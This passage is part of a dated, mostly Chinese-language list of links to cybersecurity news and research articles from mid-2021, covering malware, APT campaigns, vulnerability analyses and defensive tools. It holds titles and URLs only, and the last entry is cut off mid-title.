6.19 [Novel Phishing Attack Abuses Google Drive and Docs](https://www.infosecurity-magazine.com/news/novel-phishing-attack-abuses/) - 6.20 [This bug can permanently break iPhone WiFi connectivity](https://securityaffairs.co/wordpress/119157/hacking/iphone-bug-wifi-connectivity.html?utm_source=feedly&utm_medium=rss&utm_campaign=iphone-bug-wifi-connectivity) - 6.21 [AZORult 窃密木马分析报告](https://www.secpulse.com/archives/161233.html) - 6.21 [TunnelSnake攻击活动—通过部署被动后门隐藏C2](http://blog.nsfocus.net/tunnelsnake-apt/) - 6.21 [内网渗透之隐藏通信隧道技术](https://www.freebuf.com/articles/network/275436.html) - 6.21 [软件测试之路径遍历漏洞的防范与检测](https://www.secpulse.com/archives/161243.html) - 6.22 [DirtyMoe botnet infected 100,000+ Windows systems in H1 2021](https://securityaffairs.co/wordpress/119230/malware/dirtymoe-botnet-growing.html?utm_source=feedly&utm_medium=rss&utm_campaign=dirtymoe-botnet-growing) - 6.22 [摄像头逆向分析之旅-程序还原](http://blog.nsfocus.net/lot-flash/) - 6.22 [安全专家深入分析冒充公检法诈骗源头与施诈工具](https://www.anquanke.com/post/id/244927) - 6.23 [勒索未成 黑客公布威刚公司一半的被盗信息](https://hackernews.cc/archives/35585) - 6.23 [供应链安全的学习笔记](https://www.sec-un.org/%e4%be%9b%e5%ba%94%e9%93%be%e5%ae%89%e5%85%a8%e7%9a%84%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/) - 6.23 [利用 fastjson $ref 构造 poc](http://paper.seebug.org/1613/) - 6.23 [针对语言翻译系统的数据投毒攻击](https://www.anquanke.com/post/id/244126) - 6.24 [ChaChi, a GoLang Trojan used in ransomware attacks on US schools](https://securityaffairs.co/wordpress/119338/malware/chachi-rat-us-schools.html?utm_source=feedly&utm_medium=rss&utm_campaign=chachi-rat-us-schools) - 6.24 [XDR是安全运营的最佳解决方案吗?](https://www.secpulse.com/archives/161410.html) - 6.24 [618黑产狙击:“狂欢中的骗局”](https://www.freebuf.com/articles/network/278476.html) - 6.24 [不安全的反射漏洞造成的后果及防范修复](https://www.secpulse.com/archives/161383.html) - 6.25 [Windows 取证之$MFT](https://www.secpulse.com/archives/161514.html) - 6.25 [隐秘的印记:暗水印实践技术分享](https://www.freebuf.com/articles/database/278617.html) - 6.25 [傻瓜式 fuzzing 系列一](http://paper.seebug.org/1615/) - 6.25 [被拦截的伊朗域名的快速分析](https://blog.netlab.360.com/analysis-of-seized-iran-domains/) - 6.25 [针对沉浸式VR系统的虚拟环境操纵攻击](https://www.anquanke.com/post/id/244151) - 6.26 [APT34 组织最新攻击活动深度分析报告](http://paper.seebug.org/1614/) - 6.28 [Hackers Trick Microsoft Into Signing Netfilter Driver Loaded With Rootkit Malware](http://feedproxy.google.com/~r/TheHackersNews/~3/WXmiiHIXaNo/hackers-trick-microsoft-into-signing.html) - 6.28 [动态防御的挑战及解决思路探讨](https://www.sec-un.org/%e5%8a%a8%e6%80%81%e9%98%b2%e5%be%a1%e7%9a%84%e6%8c%91%e6%88%98%e5%8f%8a%e8%a7%a3%e5%86%b3%e6%80%9d%e8%b7%af%e6%8e%a2%e8%ae%a8/) - 6.28 [WD My Book系列设备被攻击,用户所有数据丢失](https://www.freebuf.com/news/278800.html) - 6.28 [卡巴斯基:IcedID 网银木马新变种正在疯狂传播](https://hackernews.cc/archives/35609) - 6.28 [D3FEND网络安全对策知识图谱](http://blog.nsfocus.net/d3fend-beta/) - 6.29 [网络赌球怎么总输钱?揭底背后操盘的神秘“庄家”](https://www.anquanke.com/post/id/245651) - 6.29 [XAIGen技术解析:模型知识抽取促进模型可信任](http://blog.nsfocus.net/xaigen-ai/) - 6.30 [转移目标!PYSA勒索团伙利用新型GoLang木马攻击学校及医院](https://www.freebuf.com/articles/database/278594.html) - 6.30 [超1000个针对软件供应链的恶意组件包](https://www.anquanke.com/post/id/245730) - 0x06 - 7.1 [Mirai_ptea Botnet is Exploiting Undisclosed KGUARD DVR Vulnerability](https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/) - 7.1 [美国查封伊朗媒体域名事件背后的技术分析](https://www.inforsec.org/wp/?p=4860) - 7.1 [xWin攻击事件复盘分析](https://www.anquanke.com/post/id/245858) - 7.1 [IndigoZebra APT continues to attack Central Asia with evolving tools](https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/) - 7.1 [流量分析系列之Malware Traffic](https://www.anquanke.com/post/id/244154) - 7.1 [AFLNET:一种针对网络协议的灰盒模糊测试器](https://www.anquanke.com/post/id/243861) - 7.1 [Android trojans steal Facebook users’ logins and passwords](https://news.drweb.com/show/?i=14244&lng=en&c=5) - 7.2 [REvil's Ransomware Success Formula: Constant Innovation](https://www.govinfosecurity.com/revils-ransomware-success-formula-constant-innovation-a-16976) - 7.2 [伪造盗版软件传播的窃密样本分析](https://www.freebuf.com/articles/network/278971.html) - 7.2 [越权检测系统从零开发之-Chrome插件开发](https://www.anquanke.com/post/id/245292) - 7.2 [Xcheck之Python安全检查引擎](https://www.secpulse.com/archives/161899.html) - 7.2 [美国查封伊朗媒体域名事件背后的技术分析](http://paper.seebug.org/1625/) - 7.2 [一场袭击了1300多个地点的全球网络攻击](https://www.freebuf.com/news/279306.html) - 7.5 [勒索组织REvil发起供应链攻击,预计上千家企业中招](https://www.freebuf.com/news/279573.html) - 7.5 [心动的WiFi——WiFi爆破学习记录](https://www.freebuf.com/articles/wireless/279484.html) - 7.5 [与骗子约会:欺诈性约会APP的生态](https://www.anquanke.com/post/id/245679) - 7.5 [linglong:一款 IP 资产巡航扫描系统](http://paper.seebug.org/1627/) - 7.5 [如何使用pyWhat从海量数据中识别出邮件或IP地址](https://www.freebuf.com/sectool/279482.html) - 7.5 [IoT设备固件分析之网络协议 fuzz](http://paper.seebug.org/1626/) - 7.6 [Prometheus 勒索家族分析报告](https://www.anquanke.com/post/id/246356) - 7.6 [mongo-express 远程代码执行漏洞分析](https://www.secpulse.com/archives/162077.html) - 7.6 [假入伙真探秘,看技术大佬如何打入勒索软件团伙](https://www.anquanke.com/post/id/246342) - 7.6 [DroidSkynet:一种分析早期版本App漏洞的工具](https://www.anquanke.com/post/id/244147) - 7.6 [对某网站被挂黑广告源头分析](https://www.secpulse.com/archives/162058.html) - 7.6 [WAF是如何实现敏感信息防泄露的](https://www.secpulse.com/archives/161986.html) - 7.7 [机器学习Web安全原理探究之:为何隐马尔可夫模型可用于参数异常检测](https://www.anquanke.com/post/id/245954) - 7.7 [“苦象”组织上半年针对我国的攻击活动分析](https://www.secpulse.com/archives/162121.html) - 7.7 [琴鸟行动:国际刑警组织捕获潜藏2年的摩洛哥黑客](https://www.freebuf.com/news/279744.html) - 7.7 [多种方法利用QEMU-CVE-2020-14364(二)](https://www.anquanke.com/post/id/246026) - 7.8 [170 Android cryptocurrency mining scam apps steal $350 000 from users](https://www.zdnet.com/article/170-android-cryptocurrency-mining-scam-apps-have-stolen-350000-from-users/#ftag=RSSbaffb68) - 7.8 [DarkSide 勒索病毒變種入侵 Linux 平台:瞄準虛擬機器](https://blog.trendmicro.com.tw/?p=68912) - 7.8 [针对Sodinokibi黑客组织供应链攻击Kaseya VSA的分析溯源](https://www.freebuf.com/news/279673.html) - 7.9 [Malspam Campaign Targets Kaseya Victims](https://www.databreachtoday.com/malspam-campaign-targets-kaseya-victims-a-17019) - 7.9 [苹果再成目标,WildPressure APT 组织锁定macOS系统](https://www.freebuf.com/news/280156.html) - 7.9 [海莲花的CobaltStrike加载器](https://www.anquanke.com/post/id/246158) - 7.9 [APT雇佣军组织lorec53发动对格鲁吉亚政府的钓鱼文件攻击](http://blog.nsfocus.net/apt-lorec/) - 7.9 [腾讯 SOAR 的安全运营探索](https://security.tencent.com/index.php/blog/msg/196) - 7.9 [Google应对软件供应链攻击的框架SLSA](http://blog.nsfocus.net/google-slsa/) - 7.10 [一款全新的勒索病毒Hive来袭,已有企业中招](https://www.freebuf.com/articles/endpoint/280066.html) - 7.12 [Magecart hackers hide stolen credit card data into images and bogus CSS files](https://securityaffairs.co/wordpress/119975/cyber-crime/magecart-hides-data-into-images.html?utm_source=feedly&utm_medium=rss&utm_campaign=magecart-hides-data-into-images) - 7.12 [开放命令和控制语言OpenC2](https://www.sec-un.org/%e5%bc%80%e6%94%be%e5%91%bd%e4%bb%a4%e5%92%8c%e6%8e%a7%e5%88%b6%e8%af%ad%e8%a8%80openc2/) - 7.12 [從 SolarWIND 事件思考供應鏈安全的脆弱環節](https://blog.trendmicro.com.tw/?p=68570) - 7.12 [Hackers Spread BIOPASS Malware via Chinese Online Gambling Sites](http://feedproxy.google.com/~r/TheHackersNews/~3/lUhuWFPTb1Y/hackers-spread-biopass-malware-via.html) - 7.12 [基于Linux Namespaces 特性 实现的消音](https://www.anquanke.com/post/id/246601) - 7.12 [蓝牙安全与攻击案例分析](http://paper.seebug.org/1633/) - 7.12 [某网游刷坐骑、刷极品道具、刷经验漏洞分享](https://www.freebuf.com/vuls/280299.html) - 7.12 [“致命”漏洞!医疗系统安全飞利浦Vue PACS医学成像系统存在严重缺陷](https://www.freebuf.com/news/280285.html) - 7.12 [Apache Shiro反序列化识别那些事](https://www.secpulse.com/archives/162416.html) - 7.12 [REvil勒索软件大规模攻击收效甚微](https://www.anquanke.com/post/id/246748) - 7.12 [REvil组织再作恶,利用Kaseya 0day发起大规模供应链攻击](https://www.anquanke.com/post/id/246144) - 7.12 [基于用户态虚拟化的物联网设备仿真方法](http://paper.seebug.org/1634/) - 7.13 [抵御跨站攻击:Mozilla 为 Firefox 90 引入元数据请求标头功能](https://hackernews.cc/archives/35664) - 7.13 [2021年上半年全球勒索软件趋势报告](https://www.freebuf.com/articles/paper/278794.html) - 7.13 [卫星安全研究有关的基础知识](https://www.freebuf.com/articles/wireless/202493.html) - 7.13 [使用深度学习和可视化技术识别恶意软件家族](https://www.anquanke.com/post/id/244453) - 7.13 [赌博网站暗藏BIOPASS恶意软件,可通过QQ、微信等获取私人信息](https://www.freebuf.com/news/280512.html) - 7.13 [恶意软件Bandook改进能力惊人!新的变种有针对性监视地区企业](https://www.freebuf.com/articles/network/280442.html) - 7.13 [巨头公司中招!摩根士丹利披露黑客通过Accellion FTA 漏洞盗取客户数据](https://www.freebuf.com/vuls/280276.html) - 7.13 [浅析ONU的流氓猫(DOS)攻击行为](https://www.freebuf.com/articles/endpoint/277925.html) - 7.14 [Guess 遭受勒索软件攻击后出现数据泄露事件](https://hackernews.cc/archives/35684) - 7.14 [未知攻击者利用SolarWinds新漏洞发起攻击](https://www.freebuf.com/news/280623.html) - 7.14 [SolarWinds 新 0day 漏洞正被积极利用](https://www.freebuf.com/news/280714.html) - 7.14 [海莲花样本追踪与分析(一)](https://www.freebuf.com/articles/system/280679.html) - 7.14 [海莲花样本追踪与分析(二)海莲花APT分析-白加黑](https://www.freebuf.com/articles/system/280678.html) - 7.14 [Yapi远程命令执行漏洞复现](https://www.secpulse.com/archives/162502.html) - 7.15 [会用工具有多可怕,分分钟伪造100万转账截图](https://www.anquanke.com/post/id/246973) - 7.15 [攻防启示:Chromium 组件风险剖析与收敛](http://paper.seebug.org/1641/) - 7.15 [游戏作弊工具开发商利用计算机视觉实现通用的自动瞄准程序](https://www.solidot.org/story?sid=68287) - 7.15 [yapi 远程命令执行漏洞分析](http://paper.seebug.org/1639/) - 7.15 [NGLite-基于区块链网络的匿名跨平台远控程序](http://paper.seebug.org/1638/) - 7.15 [New Zero-Trust API Offers Mobile Carrier Authentication to Developers](http://feedproxy.google.com/~r/TheHackersNews/~3/xMQewm8swes/how-to-access-mobile-carrier.html) - 7.15 [macOS: Bashed Apples of Shlayer and Bundlore](https://securityaffairs.co/wordpress/120128/malware/macos-bashed-apples-of-shlayer-and-bundlore.html?utm_source=feedly&utm_medium=rss&utm_campaign=macos-bashed-apples-of-shlayer-and-bundlore) - 7.15 [SolarWinds 黑客利用 iOS 零日漏洞渗透政府官员使用的 iPhone](https://hackernews.cc/archives/35696) - 7.16 [攻防启示:Chromium组件风险剖析与收敛](https://security.tencent.com/index.php/blog/msg/197) - 7.16 [正在进行:APT组织FIN7利用windows11话题诱饵的鱼叉攻击活动](http://blog.nsfocus.net/apt-windows11/) - 7.16 [Microsoft points the finger at Israeli spyware seller for DevilsTongue attacks](https://www.zdnet.com/article/microsoft-points-the-finger-at-israeli-private-exploit-seller-for-devilstongue-malware-attacks/#ftag=RSSbaffb68) - 7.17 [Gafgyt重用Mirai代码分析](https://www.freebuf.com/articles/system/280941.html) - 7.18 [Black Kingdom恶意软件分析](https://www.freebuf.com/articles/network/280792.html) - 7.18 [揭秘一场针对中东知识分子的“社工阴谋”,意图获取情报信息](https://www.freebuf.com/news/280739.html) - 7.19 [HelloKitty勒索软件针对SonicWall设备发起攻击](https://www.freebuf.com/news/281186.html) - 7.19 [用户端设备ONU被肉鸡攻击实例浅析](https://www.freebuf.com/articles/endpoint/243189.html) - 7.20 [Case Study: A REvil Ransom Negotiation](https://www.databreachtoday.com/case-study-revil-ransom-negotiation-a-17106) - 7.21 [Spyware Zero-Day Hits Show Apple Ecosystem's Imperfections](https://www.databreachtoday.com/spyware-zero-day-hits-show-apple-ecosystems-imperfections-a-17113) - 7.21 [“Cyrus”APT组织:”SideWinder(响尾蛇)”的兄弟](https://www.secpulse.com/archives/162957.html) - 7.21 [Top prevalent malware with a thousand campaigns migrates to macOS](https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/) - 7.21 [潜伏16年的打印机驱动漏洞波及数百万用户](https://www.freebuf.com/news/281522.html) - 7.22 [黑客们的夏天—IoT环境下IP Cam快速入侵思路](https://www.anquanke.com/post/id/247453) - 7.22 [情报研究方法论——对情报收集工作的展望](http://paper.seebug.org/1647/) - 7.22 [一款价值49美元的恶意软件可以做什么?“击穿”macOS](https://www.freebuf.com/news/281713.html) - 7.23 [逻辑漏洞梳理与总结](https://www.freebuf.com/vuls/281141.html) - 7.23 [知识图谱及其在安全领域的应用](http://paper.seebug.org/1649/) - 7.23 [瞄准各行企业及政府组织,LockBit勒索入侵加密无得解](https://www.secpulse.com/archives/163151.html) - 7.23 [从hfctf学习JWT伪造](https://www.secpulse.com/archives/163142.html) - 7.23 [Android恶意软件检测](https://www.secpulse.com/archives/163244.html) - 7.23 [攻击者最喜欢的漏洞有哪些?来看这份报告](https://www.freebuf.com/articles/paper/281362.html) - 7.23 [StrongPity通过叙利亚政府网站分发安卓木马](https://www.freebuf.com/news/281820.html) - 7.24 [政府使用间谍软件打造一言堂](https://www.anquanke.com/post/id/248138) - 7.24 [Spamhaus:2021 年二季度僵尸网络跟踪](https://www.freebuf.com/articles/paper/281523.html) - 7.26 [AISecOps:基于异构图的威胁分析技术](http://blog.nsfocus.net/aisecops-tech/) - 7.26 [如何利用API对AI发动攻击?](https://www.anquanke.com/post/id/247895) - 7.27 [LChecker:一种用于检测PHP松散比较错误的工具](https://www.anquanke.com/post/id/243936) - 7.27 [磁盘文件只剩下”_”?你可能中了DeviceManager蠕虫病毒](https://www.secpulse.com/archives/163228.html) - 7.28 [NPM开源代码库恶意软件包可通过Chrome的帐户恢复工具窃取密码](https://www.freebuf.com/vuls/281845.html) - 7.28 [waf指纹识别工具WAFW00F的使用](https://www.freebuf.com/sectool/282081.html) - 7.29 [New Android Malware Uses VNC to Spy and Steal Passwords from Victims](http://feedproxy.google.com/~r/TheHackersNews/~3/ncp9E0wkAaw/new-android-malware-uses-vnc-to-spy-and.html) - 7.29 [Kaseya为REvil勒索软件受害者拿到通用解密器](https://www.anquanke.com/post/id/248668) - 7.29 [萌新带你开车上p站(终极番外)](https://www.secpulse.com/archives/163389.html) - 7.29 [『P2P僵尸网络漏洞研究——mozi』 netgear路由器漏洞复现](https://www.secpulse.com/archives/163410.html) - 7.30 [Twiti:一种从社交网络中提取威胁情报IOC的工具](https://www.anquanke.com/post/id/243883) - 7.30 [“幻鼠”组织针对我国的窃密攻击活动分析](https://www.secpulse.com/archives/163667.html) - 7.30 [Linux挖矿木马的技术演进探讨](https://www.secpulse.com/archives/163505.html) - 7.30 [伊朗火车系统遭遇网络攻击 研究人员发现新威胁因素](https://hackernews.cc/archives/35737) - 7.31 [tomcat结合shiro无文件webshell的技术研究以及检测方法](https://www.secpulse.com/archives/163799.html) - 0x07 - 8.1 [神秘APT组织锁定(IIS)Web服务器,擅长规避恶意软件检测](https://www.freebuf.com/news/282716.html) - 8.2 [CVE-2021-33514:Netgear 多款交换机命令注入漏洞](https://www.anquanke.com/post/id/248135) - 8.2 [SpringMVC配合Fastjson的内存马利用与分析](https://www.anquanke.com/post/id/248155) - 8.2 [Chrome 在野0day:CVE-2021-30551的分析与利用](https://www.anquanke.com/post/id/248716) - 8.2 [定制化 Android kernel 绕过用户层 check](https://www.anquanke.com/post/id/248648) - 8.2 [P2P僵尸网络深度追踪——Mozi(三)](https://www.anquanke.com/post/id/248667) Mozi(一)传送带:https://www.anquanke.com/post/id/240195 Mozi(二)传送带:https://www.anquanke.com/post/id/245500 - 8.2 [调用Python脚本进行漏洞测试的PythonCall](https://www.freebuf.com/sectool/282918.html) - 8.3 [Chinese APT Groups Targeted Asian Telecoms](https://www.govinfosecurity.com/chinese-apt-groups-targeted-asian-telecoms-a-17209) - 8.3 [利用AI检测IoT恶意流量](https://www.secpulse.com/archives/163955.html) - 8.3 [深入理解APC机制](https://www.anquanke.com/post/id/247813) - 8.3 [APT 29组织的30多台C&C服务器被发现,目标对象仍未知](https://www.freebuf.com/articles/others-articles/282938.html) - 8.4 [恶意 PyPI 包窃取信用卡和登陆凭证](https://www.solidot.org/story?sid=68451) - 8.4 [Several Malware Families Targeting IIS Web Servers With Malicious Modules](http://feedproxy.google.com/~r/TheHackersNews/~3/Ou5UQz4wbvY/several-malware-families-targeting-iis.html) - 8.4 [China-linked APT31 targets Russia for the first time](https://securityaffairs.co/wordpress/120796/apt/china-linked-apt31-targets-russia-for-the-first-time.html?utm_source=feedly&utm_medium=rss&utm_campaign=china-linked-apt31-targets-russia-for-the-first-time) - 8.4 [New Chinese Spyware Being Used in Widespread Cyber Espionage Attacks](http://feedproxy.google.com/~r/TheHackersNews/~3/SfZ4rX3mo-s/new-chinese-spyware-being-used-in.html) - 8.4 [AWDPwn 漏洞加固总结](https://www.secpulse.com/archives/164073.html) - 8.4 [物联网设备常见的web服务器——uhttpd源码分析(二)](https://www.anquanke.com/post/id/248666) - 8.4 [你的屏幕被“偷”了,新恶意软件Vultur已控制数千台设备](https://www.freebuf.com/news/282992.html) - 8.4 [工控攻防演示——从外网到内网控制系统设备的入侵](https://www.anquanke.com/post/id/248647) - 8.5 [Lorec53组织分析报告-攻击活动部分](http://blog.nsfocus.net/lorec-53/) - 8.5 [又见供应链威胁:漏洞“INFRA:HALT ”影响数百家供应商的OT设备](https://www.freebuf.com/news/283547.html) - 8.5 [某C 1day 反序列化漏洞的武器级利用](https://www.secpulse.com/archives/163900.html) - 8.5 [安卓抓包分享(一):windowsPC、夜神模拟器、burp、SSL pinning机制绕过](https://www.freebuf.com/sectool/280622.html) - 8.6 [『P2P僵尸网络漏洞研究——mozi』 netgear路由器漏洞复现](https://www.anquanke.com/post/id/248670) - 8.6 [HTTP/2降级走私攻击](https://www.anquanke.com/post/id/249446) - 8.6 [威胁快讯:TeamTNT新变种通过ELF打包bash脚本,正通过Hadoop ResourceManager RCE 传播](https://blog.netlab.360.com/wei-xie-kuai-xun-teamtntxin-huo-dong-tong-guo-gan-ran-wang-ye-wen-jian-ti-gao-chuan-bo-neng-li/) - 8.6 [Golang实现RMI协议自动化检测Fastjson](https://www.anquanke.com/post/id/249402) - 8.7 [Json 编写 PoC&EXP 遇到的那些坑](https://www.anquanke.com/post/id/249392) - 8.8 [JSBot无文件攻击分析](https://www.anquanke.com/post/id/249104) - 8.9 [使用PetitPotam代替Printerbug](https://www.anquanke.com/post/id/249603) - 8.9 [Android Malware ‘FlyTrap’ Hijacks Facebook Accounts](https://threatpost.com/android-malware-flytrap-facebook/168463/) - 8.10 [5GC控制面异常检测策略](http://blog.nsfocus.net/5g-c/) - 8.10 [JDWPMiner挖矿木马后门简要分析](https://www.anquanke.com/post/id/249876) - 8.10 [“同名异源”、“洪水攻击”新型供应链攻击方式](https://www.anquanke.com/post/id/249862) - 8.10 [近源渗透,超低成本打造自定义专属钓鱼WIFI](https://www.freebuf.com/articles/wireless/272733.html) - 8.10 [通过ATM漏洞实现现金窃取](https://www.anquanke.com/post/id/248738) - 8.11 [深度学习赋能侧信道攻击](https://www.secpulse.com/archives/164300.html) - 8.11 [针对CPU片上环互联的侧信道攻击](https://www.anquanke.com/post/id/249400) - 8.11 [黑产以及一般业务安全的应对思路](https://www.secpulse.com/archives/164158.html) - 8.11 [100万张信用卡信息在网络犯罪论坛中免费泄露,超20%仍有效!](https://www.freebuf.com/articles/database/284014.html) - 8.12 [Lorec53组织分析报告——攻击组件部分](http://blog.nsfocus.net/lorec53-nsfocus/) - 8.12 [Stealth is never enough, or Revealing Formbook successor’s C&C infrastructure](https://research.checkpoint.com/2021/stealth-is-never-enough-or-revealing-formbook-successors-cc-infrastructure/) - 8.12 [某团购CMS的SQL注入漏洞代码审计](https://www.secpulse.com/archives/164402.html) - 8.12 [路由器溢出漏洞分析](https://www.anquanke.com/post/id/247505) - 8.12 [sni机制浅析—waf运营中的坑](https://www.freebuf.com/sectool/284468.html) - 8.12 [域渗透:攻击活动目录从 0 到 0.9(一)](https://www.anquanke.com/post/id/249939) - 8.12 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://www.secpulse.com/archives/164376.html) - 8.12 [黑客们的夏天——IoT Dev Hacking Vol.1](https://www.anquanke.com/post/id/249643) - 8.12 [Fastjson远程命令执行漏洞总结](https://www.freebuf.com/articles/web/283585.html) - 8.12 [被黑 6.1 亿美金的 Poly Network 事件分析与疑难问答](https://www.freebuf.com/vuls/284340.html) - 8.13 [Windows NTLM中继攻击漏洞分析(ADV210003)](https://www.anquanke.com/post/id/250190) - 8.14 [Indra — Hackers Behind Recent Attacks on Iran](https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/) - 8.16 [黑客可以利用管理 DNS 服务供应商的漏洞来监视公司和组织的内部流量](https://hackernews.cc/archives/35798) - 8.16 [商业窃密木马Agent Tesla新型变种分析](https://www.secpulse.com/archives/164691.html) - 8.16 [Vice Society 正利用 PrintNightmare 安全漏洞注入勒索软件](https://hackernews.cc/archives/35803) - 8.16 [New AdLoad Variant Bypasses Apple's Security Defenses to Target macOS Systems](http://feedproxy.google.com/~r/TheHackersNews/~3/AL44q59e3Wk/new-adload-variant-bypasses-apples.html) - 8.17 [Mandiant Discloses Critical Vulnerability Affecting Millions of IoT Devices](http://www.fireeye.com/blog/threat-research/2021/08/mandiant-discloses-critical-vulnerability-affecting-iot-devices.html) - 8.17 [Why Buy A New Scope When You Can ‘Just’ Build One?](https://hackaday.com/2021/08/17/why-buy-a-new-scope-when-you-can-just-build-one/) - 8.17 [网络转账有”时差”,你可能根本没收到钱](https://www.anquanke.com/post/id/250647) - 8.17 [对AI发动后门攻击](https://www.anquanke.com/post/id/249153) - 8.17 [恶意软件开发者自我感染,意外暴露犯罪活动](https://www.anquanke.com/post/id/250728) - 8.17 [CVE-2021-23419 open-graph 原型链污染分析](https://www.anquanke.com/post/id/250539) - 8.17 [路面污渍也能用来攻击!基于深度学习的自动车道居中辅助系统的安全研究](https://www.freebuf.com/vuls/284812.html) - 8.18 [一次闪电贷攻击的复现和意外发现的黑吃黑](http://paper.seebug.org/1675/) - 8.18 [Linux挖矿木马WorkMiner集中爆发,利用SSH暴力破解传播](https://www.secpulse.com/archives/164847.html) - 8.18 [埃森哲遭勒索5000万美元,深信服捕获罪魁祸首Lockbit 2.0变种](https://www.secpulse.com/archives/164815.html) - 8.18 [FBI的恐怖分子秘密观察名单曝光,包含190万条记录](https://www.freebuf.com/news/285196.html) - 8.18 [APT29—觊觎全球情报的国家级黑客组织](https://www.anquanke.com/post/id/250535) - 8.18 [Zabbix攻击面挖掘与利用](https://www.anquanke.com/post/id/250722) - 8.19 [研究人员利用设备 LED 电源指示灯恢复音频](https://www.solidot.org/story?sid=68591) - 8.19 [T-Mobile 承认超过 4700 万用户个人信息被窃取](https://hackernews.cc/archives/35835) - 8.19 [浅谈云上攻防——Kubelet访问控制机制与提权方法研究](https://www.freebuf.com/articles/network/285344.html) - 8.19 [K8S安全建设经验试分享](https://www.freebuf.com/articles/es/285329.html) - 8.19 [一封offer带来的供应链攻击:伊朗黑客冒充HR攻击以色列IT和通信公司](https://www.freebuf.com/news/285287.html) - 8.19 [从Chrysaor看移动端间谍软件](https://www.anquanke.com/post/id/250720) - 8.19 ['Neurevt' Trojan Targets Mexican Bank Customers](https://www.databreachtoday.com/neurevt-trojan-targets-mexican-bank-customers-a-17323) - 8.20 [Ursnif 木马变种正利用 CAPTCHA 验证来欺骗并窃取受害者信息](https://hackernews.cc/archives/35847) - 8.20 [代码缩进爆炸攻击 - EtherDream](http://www.cnblogs.com/index-html/p/indent-bomb.html) - 8.20 [Rocket.Chat 远程命令执行漏洞分析](https://www.anquanke.com/post/id/248742) - 8.20 [APT29—觊觎全球情报的国家级黑客组织(二)](https://www.anquanke.com/post/id/250713) - 8.20 [AdvDrop:通过丢信息来制造对抗样本](https://www.freebuf.com/articles/network/285525.html) - 8.20 [Metasploit使用](https://www.freebuf.com/articles/network/279222.html) - 8.20 [NetGear 夜鹰 RAX40V2 设备与固件分析](https://www.anquanke.com/post/id/248900) - 8.21 [Chrome-V8-CVE-2020-6468](https://www.anquanke.com/post/id/250883) - 8.22 [最熟悉的陌生人——基于共享证书的HTTPS上下文混淆攻击实证研究(一)](https://www.inforsec.org/wp/?p=4951) - 8.22 [眼见不一定为实:对电子邮件伪造攻击的大规模分析](https://www.inforsec.org/wp/?p=4939) - 8.23 [Electron的openExternal可控利用点分析](https://www.anquanke.com/post/id/251224) - 8.23 [一种基于模板的针对Android进程间通信的自动化Fuzzing方法](https://www.anquanke.com/post/id/250893) - 8.24 [基于Mastercard-Visa混合的银行卡品牌混淆攻击](https://www.anquanke.com/post/id/249467) - 8.24 [如何利用Elkeid发现生产网内恶意行为](https://www.anquanke.com/post/id/250881) - 8.24 [CTF 中如何欺骗 AI](https://www.anquanke.com/post/id/251125) - 8.24 [New zero-click exploit used to target Bahraini activists’ iPhones with NSO spyware](https://securityaffairs.co/wordpress/121415/malware/zero-click-exploit-nso.html?utm_source=feedly&utm_medium=rss&utm_campaign=zero-click-exploit-nso) - 8.24 [Triada Trojan in WhatsApp mod](https://securelist.com/triada-trojan-in-whatsapp-mod/103679/) - 8.25 [Escape from chrome sandbox to root](http://paper.seebug.org/1685/) - 8.25 [【原创】哥斯拉Godzilla加密流量分析](https://www.freebuf.com/sectool/285693.html) - 8.25 [WAF-A-MoLE:针对Web应用防火墙的基于变异的模糊测试工具](https://www.freebuf.com/articles/web/285672.html) - 8.25 [网络刷单诈骗“进化史”,手法“长进”不少](https://www.freebuf.com/articles/network/285890.html) - 8.25 [企业内网中的横向移动](https://www.anquanke.com/post/id/251386) - 8.25 [从0开始Fuzzing之旅: 使用Syzkaller进行Linux驱动漏洞挖掘](https://www.freebuf.com/sectool/285699.html) - 8.27 [Mozi已死,余毒犹存](https://blog.netlab.360.com/the_death_of_mozi_cn/) - 8.27 [Digging into an ATtiny Simulator Bug with GDB](https://hackaday.com/2021/08/26/digging-into-an-attiny-simulator-bug-with-gdb/) - 8.27 [隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现](https://www.anquanke.com/post/id/251515) - 8.28 [Microsoft Warns of Widespread Phishing Attacks Using Open Redirects](http://feedproxy.google.com/~r/TheHackersNews/~3/Tjh4-cInN7U/microsoft-warns-of-widespread-phishing.html) - 8.29 [木马分析:新型Ursnif银行木马变种技术分析](https://www.freebuf.com/articles/network/286166.html) - 8.29 [Microsoft Exchange Server ProxyShell利用分析](https://www.anquanke.com/post/id/251713) - 8.30 [内网渗透之DNS隧道搭建(1)](https://www.secpulse.com/archives/165291.html) - 8.30 [远控木马FatalRAT浮出水面](https://www.freebuf.com/articles/system/286286.html) - 8.30 [New variant of Konni RAT used in a campaign that targeted Russia](https://securityaffairs.co/wordpress/121625/apt/konni-rat-target-russia.html?utm_source=feedly&utm_medium=rss&utm_campaign=konni-rat-target-russia) - 8.30 [Microsoft: Beware Phishing Attacks with Open Redirect Links](https://www.databreachtoday.com/microsoft-beware-phishing-attacks-open-redirect-links-a-17404) - 8.30 [Lazarus组织针对加密货币行业的社工攻击](https://www.freebuf.com/news/286810.html) - 8.31 [360权威发布《2021年上半年度中国手机安全状况报告》](https://www.anquanke.com/post/id/251982) - 8.31 [移动安全之Android逆向系列:安卓工具总结](https://www.freebuf.com/articles/mobile/286623.html) - 8.31 [蓝队视角下的企业安全运营](https://www.freebuf.com/articles/web/286856.html) - 8.31 [疑似俄语攻击者利用COVID-19疫苗诱饵对中东地区的攻击活动分析](https://www.freebuf.com/articles/paper/286984.html) - 8.31 [与朝鲜有关的InkySquid APT组织正积极利用IE漏洞](https://www.freebuf.com/news/286961.html) - 8.31 [恶意团伙 alosh 针对拉丁美洲发起攻击](https://www.freebuf.com/articles/system/286901.html) - 8.31 [DockerHub再现百万下载量黑产镜像,小心你的容器被挖矿](https://www.anquanke.com/post/id/252020) - 8.31 [一次mirai僵尸网络攻击的流量分析](https://www.freebuf.com/articles/web/286513.html) - 8.31 [APT29—觊觎全球情报的国家级黑客组织(三)](https://www.anquanke.com/post/id/251939) - 8.31 [Researchers Propose Machine Learning-based Bluetooth Authentication 